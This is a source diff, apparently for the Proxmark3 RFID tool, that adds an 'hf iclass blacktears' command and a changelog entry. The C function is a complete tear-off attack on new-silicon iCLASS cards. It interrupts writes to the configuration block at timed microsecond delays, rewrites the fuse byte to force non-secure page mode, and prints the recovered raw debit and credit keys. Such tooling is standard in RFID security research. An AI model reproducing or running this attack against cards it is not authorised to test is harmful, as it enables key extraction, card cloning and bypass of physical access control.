diff --git a/CHANGELOG.md b/CHANGELOG.md index 3046ebdd5..3b85b54d9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added `hf iclass blacktears` command to perform an automated tearoff of block 1 to set non-secure page mode(@antiklesys) - Added `hf gst read` command (@kormax) - Added `hf gst info` command (@kormax) - Added `hf 14b tearoff` - interactive ST25TB/SRx monotonic counter tear-off attack (@xNovyz) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index b30961b65..fe56cc765 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -3584,6 +3584,489 @@ out: return isok; } +static int CmdHFiClass_BlackTears(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf iclass blacktears", + "Tear off the iCLASS (new-silicon only) configuration block to set non-secure page mode.\n" + "Make sure you know the target card credit key. Typical `--ki 1` or `--ki 3`\n", + "hf iclass blacktears -k 001122334455667B\n" + "hf iclass blacktears --ki 1" + ); + + void *argtable[] = { + arg_param_begin, + arg_str0("k", "key", "", "Access key as 8 hex bytes"), + arg_int0(NULL, "ki", "", "Key index to select key from memory 'hf iclass managekeys'"), + arg_int0("s", NULL, "", "tearoff delay start (in us) must be between 1 and 43000 (43ms). Precision is about 1/3 us"), + arg_int0("i", NULL, "", "tearoff delay increment (in us) - default 10"), + arg_int0("e", NULL, "", "tearoff delay end (in us) must be a higher value than the start delay"), + arg_str0("o", "otp", "", "Custom OTP value as 2 hex bytes"), + arg_lit0("v", "verbose", "verbose output"), + arg_lit0(NULL, "shallow", "use shallow (ASK) reader modulation instead of OOK"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, false); + + int key_len = 0; + uint8_t key[8] = {0}; + CLIGetHexWithReturn(ctx, 1, key, &key_len); + + int key_nr = arg_get_int_def(ctx, 2, -1); + int blockno = 1; + + uint8_t data[8] = {0x12,0xFF,0xFE,0xFF,0x7F,0x1F,0xFF,0x2C}; //tearoff payload + uint8_t mac[4] = {0}; + + + int tearoff_start = arg_get_int_def(ctx, 3, 1700); + int tearoff_original_start = tearoff_start; // save original start value for later use + int tearoff_increment = arg_get_int_def(ctx, 4, 5); + int tearoff_end = arg_get_int_def(ctx, 5, tearoff_start + 200); //1900 default + + int otp_len = 0; + uint8_t otp[2] = {0}; + CLIGetHexWithReturn(ctx, 6, otp, &otp_len); + + bool verbose = arg_get_lit(ctx, 7); + bool shallow_mod = arg_get_lit(ctx, 8); + bool elite = false; + bool rawkey = false; + bool use_replay = false; //not implemented in this mode + bool read_auth = false; + bool use_credit_key = true; + int tearoff_loop = 1; + int tearoff_sleep = 0; + + CLIParserFree(ctx); + + // Sanity checks + if (key_len > 0 && key_nr >= 0) { + PrintAndLogEx(ERR, "Please specify key or index, not both"); + return PM3_EINVARG; + } + + bool auth = false; + + if (key_len > 0) { + + auth = true; + if (key_len != 8) { + PrintAndLogEx(ERR, "Key is incorrect length"); + return PM3_EINVARG; + } + PrintAndLogEx(NORMAL, ""); + } + + if (key_nr >= 0) { + if (key_nr < ICLASS_KEYS_MAX) { + auth = true; + memcpy(key, iClass_Key_Table[key_nr], 8); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Using key[%d] " _GREEN_("%s"), key_nr, sprint_hex_inrow(iClass_Key_Table[key_nr], 8)); + } else { + PrintAndLogEx(ERR, "Key number is invalid"); + return PM3_EINVARG; + } + } + + if (otp_len > 0){ + if (otp_len != 2) { + PrintAndLogEx(ERR, "OTP is incorrect length"); + return PM3_EINVARG; + } + memcpy(&data[1], otp, 2); //update the otp in the tearoff data value + PrintAndLogEx(NORMAL, ""); + } + + int loop_count = 0; + int isok = PM3_SUCCESS; + bool read_ok = false; + uint8_t keyType = ICLASS_DEBIT_KEYTYPE; + PrintAndLogEx(SUCCESS, "Using " _YELLOW_("credit") " key"); + keyType = ICLASS_CREDIT_KEYTYPE; + + if (tearoff_loop > 1) { + PrintAndLogEx(SUCCESS, _YELLOW_("%u") " attempts / tearoff", tearoff_loop); + } + + if (tearoff_sleep) { + PrintAndLogEx(SUCCESS, "Using " _YELLOW_("%u") " ms delay between attempts", tearoff_sleep); + } + + //check if the card is in secure mode or not + iclass_card_select_t payload_rdr = { + .flags = (FLAG_ICLASS_READER_INIT | FLAG_ICLASS_READER_CLEARTRACE) + }; + + clearCommandBuffer(); + PacketResponseNG resp; + SendCommandNG(CMD_HF_ICLASS_READER, (uint8_t *)&payload_rdr, sizeof(iclass_card_select_t)); + + if (WaitForResponseTimeout(CMD_HF_ICLASS_READER, &resp, 2000) == false) { + PrintAndLogEx(WARNING, "command execution time out"); + DropField(); + return PM3_ESOFT; + } + DropField(); + + if (resp.status == PM3_ERFTRANS) { + PrintAndLogEx(FAILED, "no tag found"); + DropField(); + return PM3_ESOFT; + } + + iclass_card_select_resp_t *r = (iclass_card_select_resp_t *)resp.data.asBytes; + if (r->status == FLAG_ICLASS_NULL) { + PrintAndLogEx(FAILED, "failed to read block 0,1,2"); + return PM3_ESOFT; + } + + int fail_tolerance = 1; + if (memcmp(r->header.hdr.csn + 4, "\xFE\xFF\x12\xE0", 4) == 0) { + PrintAndLogEx(SUCCESS, "CSN................... %s ( new silicon )", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); + } else { + PrintAndLogEx(FAILED, "CSN................... %s ( old silicon )", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); + PrintAndLogEx(FAILED, "Old Silicon is not Supported for this operation."); + DropField(); + return PM3_ESOFT; + } + + picopass_hdr_t *hdr = &r->header.hdr; + uint8_t pagemap = get_pagemap(hdr); + if (pagemap == PICOPASS_NON_SECURE_PAGEMODE) { + PrintAndLogEx(INFO, _GREEN_("Card already in non-secure page mode!")); + read_auth = false; + blockno = 3; + uint8_t kd_read[8] = {0}; + iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, kd_read, false); + blockno = 4; + uint8_t kc_read[8] = {0}; + iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, kc_read, false); + PrintAndLogEx(SUCCESS, "Raw Debit Key.............. " _YELLOW_("%s"), sprint_hex_inrow(kd_read, sizeof(kd_read)));; + PrintAndLogEx(SUCCESS, "Raw Credit Key............. " _YELLOW_("%s"), sprint_hex_inrow(kc_read, sizeof(kc_read)));; + DropField(); + return PM3_ESOFT; + } + + if (pagemap == 0x0) { + PrintAndLogEx(WARNING, _RED_("No auth possible. Read only if RA is enabled")); + goto out; + } + + + // perform initial read here, repeat if failed or 00s + + uint8_t data_read_orig[8] = {0}; + uint8_t ff_data[8] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; + bool first_read = false; + bool reread = false; + bool erase_phase = false; + + read_auth = false; + + int res_orig = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read_orig, false); + while (reread) { + if (res_orig == PM3_SUCCESS && !reread) { + if (memcmp(data_read_orig, zeros, 8) == 0) { + reread = true; + } else { + reread = false; + } + } else if (res_orig == PM3_SUCCESS && reread) { + reread = false; + if (blockno == 2 && memcmp(data_read_orig, zeros, 8) == 0) { + reread = true; + } + } + } + + PrintAndLogEx(SUCCESS, "Original block data... " _CYAN_("%s"), sprint_hex_inrow(data_read_orig, sizeof(data_read_orig))); + PrintAndLogEx(SUCCESS, "New data to write..... " _YELLOW_("%s"), sprint_hex_inrow(data, sizeof(data))); + PrintAndLogEx(SUCCESS, "Target block.......... " _YELLOW_("%u") " / " _YELLOW_("0x%02x"), blockno, blockno); + PrintAndLogEx(SUCCESS, "Using Key............. " _YELLOW_("%s"), sprint_hex_inrow(key, sizeof(key)));; + // turn off Device side debug messages + uint8_t dbg_curr = DBG_NONE; + if (getDeviceDebugLevel(&dbg_curr) != PM3_SUCCESS) { + return PM3_EFAILED; + } + + if (setDeviceDebugLevel(DBG_NONE, false) != PM3_SUCCESS) { + return PM3_EFAILED; + } + + // clear trace log + SendCommandNG(CMD_BUFF_CLEAR, NULL, 0); + + + + PrintAndLogEx(INFO, "---------------------------------------"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "Press " _GREEN_("") " to exit"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "--------------- " _CYAN_("start") " -----------------\n"); + // Main loop + while ((tearoff_start <= tearoff_end) && (read_ok == false)) { + + if (kbd_enter_pressed()) { + PrintAndLogEx(WARNING, "\naborted via keyboard."); + isok = PM3_EOPABORTED; + goto out; + } + + // set tear off trigger + clearCommandBuffer(); + tearoff_params_t params = { + .delay_us = (tearoff_start & 0xFFFF), + .on = true, + .off = false + }; + + int res = handle_tearoff(¶ms, verbose); + if (res != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "Failed to configure tear off"); + isok = PM3_ESOFT; + goto out; + } + + if (tearoff_loop > 1) { + PrintAndLogEx(INPLACE, " Tear off delay "_YELLOW_("%u")" / "_YELLOW_("%d")" us - "_YELLOW_("%3u")" iter", params.delay_us, (tearoff_end & 0xFFFF), loop_count + 1); + } else { + PrintAndLogEx(INPLACE, " Tear off delay "_YELLOW_("%u")" / "_YELLOW_("%d")" us", params.delay_us, (tearoff_end & 0xFFFF)); + } + + // write block - don't check the return value. As a tear-off occurred, the write failed. + // when tear off is enabled, the return code will always be PM3_ETEAROFF + iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); + + // read the data back + uint8_t data_read[8] = {0}; + first_read = false; + reread = false; + bool decrease = false; + int readcount = 0; + while (first_read == false) { + + if (kbd_enter_pressed()) { + PrintAndLogEx(WARNING, "\naborted via keyboard."); + isok = PM3_EOPABORTED; + goto out; + } + + // skip authentication for config block + read_auth = false; + + res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false); + if (res == PM3_SUCCESS && !reread) { + if (memcmp(data_read, zeros, 8) == 0) { + reread = true; + } else { + first_read = true; + reread = false; + } + } else if (res == PM3_SUCCESS && reread) { + first_read = true; + reread = false; + } else if (res != PM3_SUCCESS) { + decrease = true; + } + + readcount++; + } + + if (readcount > fail_tolerance) { + PrintAndLogEx(WARNING, "\nRead block failed "_RED_("%d") " times", readcount); + } + + // if there was an error reading repeat the tearoff with the same delay + if (decrease && (tearoff_start > tearoff_increment) && (tearoff_start >= tearoff_original_start)) { + tearoff_start -= tearoff_increment; + if (verbose) { + PrintAndLogEx(INFO, " -> Read failed, retearing with "_CYAN_("%u")" us", tearoff_start); + } + } + + bool tear_success = true; + bool expected_values = true; + + if (memcmp(data_read, data, 8) != 0) { + tear_success = false; + } + + if ((tear_success == false) && + (memcmp(data_read, zeros, 8) != 0) && + (memcmp(data_read, data_read_orig, 8) != 0)) { + + // tearoff succeeded (partially) + + expected_values = false; + + if (memcmp(data_read, ff_data, 8) == 0 && + memcmp(data_read_orig, ff_data, 8) != 0) { + + if (erase_phase == false) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, _CYAN_("Erase phase hit... ALL ONES")); + iclass_cmp_print(data_read_orig, data_read, "Original: ", "Read: "); + } + erase_phase = true; + } else { + + if (erase_phase) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, _MAGENTA_("Tearing! Write phase (post erase)")); + iclass_cmp_print(data_read_orig, data_read, "Original: ", "Read: "); + } else { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, _CYAN_("Tearing! unknown phase")); + iclass_cmp_print(data_read_orig, data_read, "Original: ", "Read: "); + } + } + + bool goto_out = false; + + if (data_read[0] != data_read_orig[0]) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Application limit changed, from "_YELLOW_("%u")" to "_YELLOW_("%u"), data_read_orig[0], data_read[0]); + isok = PM3_SUCCESS; + goto_out = true; + } + + if (data_read[7] != data_read_orig[7]) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Fuse changed, from "_YELLOW_("%02x")" to "_YELLOW_("%02x"), data_read_orig[7], data_read[7]); + + const char *flag_names[8] = { + "RA", + "Fprod0", + "Fprod1", + "Crypt0 (*1)", + "Crypt1 (*0)", + "Coding0", + "Coding1", + "Fpers (*1)" + }; + PrintAndLogEx(INFO, _YELLOW_("%-10s %-10s %-10s"), "Fuse", "Original", "Changed"); + PrintAndLogEx(INFO, "---------------------------------------"); + for (int i = 7; i >= 0; --i) { + int bit1 = (data_read_orig[7] >> i) & 1; + int bit2 = (data_read[7] >> i) & 1; + PrintAndLogEx(INFO, "%-11s %-10d %-10d", flag_names[i], bit1, bit2); + } + + isok = PM3_SUCCESS; + goto_out = true; + } + + // if more OTP bits set.. + if (data_read[1] > data_read_orig[1] || + data_read[2] > data_read_orig[2]) { + PrintAndLogEx(SUCCESS, "More OTP bits got set!!!"); + + data_read[7] = 0xBC; + res = iclass_write_block(blockno, data_read, mac, key, use_credit_key, elite, rawkey, use_replay, verbose, auth, shallow_mod); + if (res != PM3_SUCCESS) { + PrintAndLogEx(INFO, "Stabilize the bits ( "_RED_("failed") " )"); + } + + isok = PM3_SUCCESS; + goto_out = true; + } + + + if (goto_out) { + goto out; + } + } + + if (tear_success) { // tearoff succeeded with expected values + + read_ok = true; + tear_success = true; + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "Read: " _GREEN_("%s") " %s" + , sprint_hex_inrow(data_read, sizeof(data_read)), + (expected_values) ? _GREEN_(" -> Expected values!") : "" + ); + } + + loop_count++; + + if (loop_count == tearoff_loop) { + tearoff_start += tearoff_increment; + loop_count = 0; + } + + if (tearoff_sleep) { + msleep(tearoff_sleep); + } + } + + +out: + + DropField(); + + if (setDeviceDebugLevel(verbose ? MAX(dbg_curr, DBG_INFO) : DBG_NONE, false) != PM3_SUCCESS) { + return PM3_EFAILED; + } + // disable tearoff in case of keyboard abort, or it'll trigger on next operation + clearCommandBuffer(); + tearoff_params_t params = { + .delay_us = tearoff_start, + .on = false, + .off = true + }; + handle_tearoff(¶ms, false); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "Done!"); + PrintAndLogEx(NORMAL, ""); + clearCommandBuffer(); + + read_auth = false; + uint8_t data_read[8]= {0}; + uint8_t data_read2[8] = {0}; + int res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false); + if (res == PM3_SUCCESS){ + if(data_read[7] == 0xBC){ //stabilize with write operation to 0xBE + PrintAndLogEx(SUCCESS, "Detected Fuse: "_GREEN_("%02x")" Stabilizing to: "_YELLOW_("0xBE"), data_read[7]); + memcpy(data, data_read, PICOPASS_BLOCK_SIZE); + data[7] = 0xBE; + iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); + res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read2, false); + if(data_read2[7] == 0xBE){ + PrintAndLogEx(SUCCESS, "Detected Fuse: "_GREEN_("%02x")" Updating for unlock to: "_YELLOW_("0xAC"), data_read[7]); + memcpy(data, data_read2, PICOPASS_BLOCK_SIZE); + data[7] = 0xAC; + iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); + } + }else if(data_read[7] == 0xBE){ //unlock with write operation to 0xAC + PrintAndLogEx(SUCCESS, "Detected Fuse: "_GREEN_("%02x")" Updating for unlock to: "_YELLOW_("0xAC"), data_read[7]); + memcpy(data, data_read, PICOPASS_BLOCK_SIZE); + data[7] = 0xAC; + iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); + }else if(data_read[7] == 0xAC){//don't do anything as this is ok + PrintAndLogEx(SUCCESS, "Detected Fuse: "_GREEN_("%02x")"! All is good!", data_read[7]); + }else if (data_read[7] == 0x3C){ + PrintAndLogEx(INFO, _YELLOW_("Fuses unchanged. Try again if the OTP is unchanged.")); + }else{ + PrintAndLogEx(INFO, _YELLOW_("Did not detect 0xBC or 0xBE fuse, might need manual intervention!")); + } + } + iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read2, false); + if(data_read[7] == 0xAC || data_read2[7] == 0xAC){ //read block 3 and 4 and print the content + blockno = 3; + uint8_t kd_read[8] = {0}; + res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, kd_read, false); + blockno = 4; + uint8_t kc_read[8] = {0}; + res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, kc_read, false); + PrintAndLogEx(SUCCESS, "Raw Debit Key.............. " _YELLOW_("%s"), sprint_hex_inrow(kd_read, sizeof(kd_read)));; + PrintAndLogEx(SUCCESS, "Raw Credit Key............. " _YELLOW_("%s"), sprint_hex_inrow(kc_read, sizeof(kc_read)));; + } + return isok; +} + static int CmdHFiClass_loclass(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf iclass loclass", @@ -6173,6 +6656,7 @@ static command_t CommandTable[] = { {"legrec", CmdHFiClassLegacyRecover, IfPm3Iclass, "Recovers 24 bits of the diversified key of a legacy card provided a valid nr-mac combination"}, {"legbrute", CmdHFiClassLegBrute, AlwaysAvailable, "Bruteforces 40 bits of a partial diversified key, provided 24 bits of the key and two valid nr-macs"}, {"unhash", CmdHFiClassUnhash, AlwaysAvailable, "Reverses a diversified key to retrieve hash0 pre-images after DES encryption"}, + {"blacktears", CmdHFiClass_BlackTears, IfPm3Iclass, "Performs tearoff attack on iCLASS for key recovery"}, {"-----------", CmdHelp, IfPm3Iclass, "-------------------- " _CYAN_("Simulation") " -------------------"}, {"sim", CmdHFiClassSim, IfPm3Iclass, "Simulate iCLASS tag"}, {"eload", CmdHFiClassELoad, IfPm3Iclass, "Upload file into emulator memory"},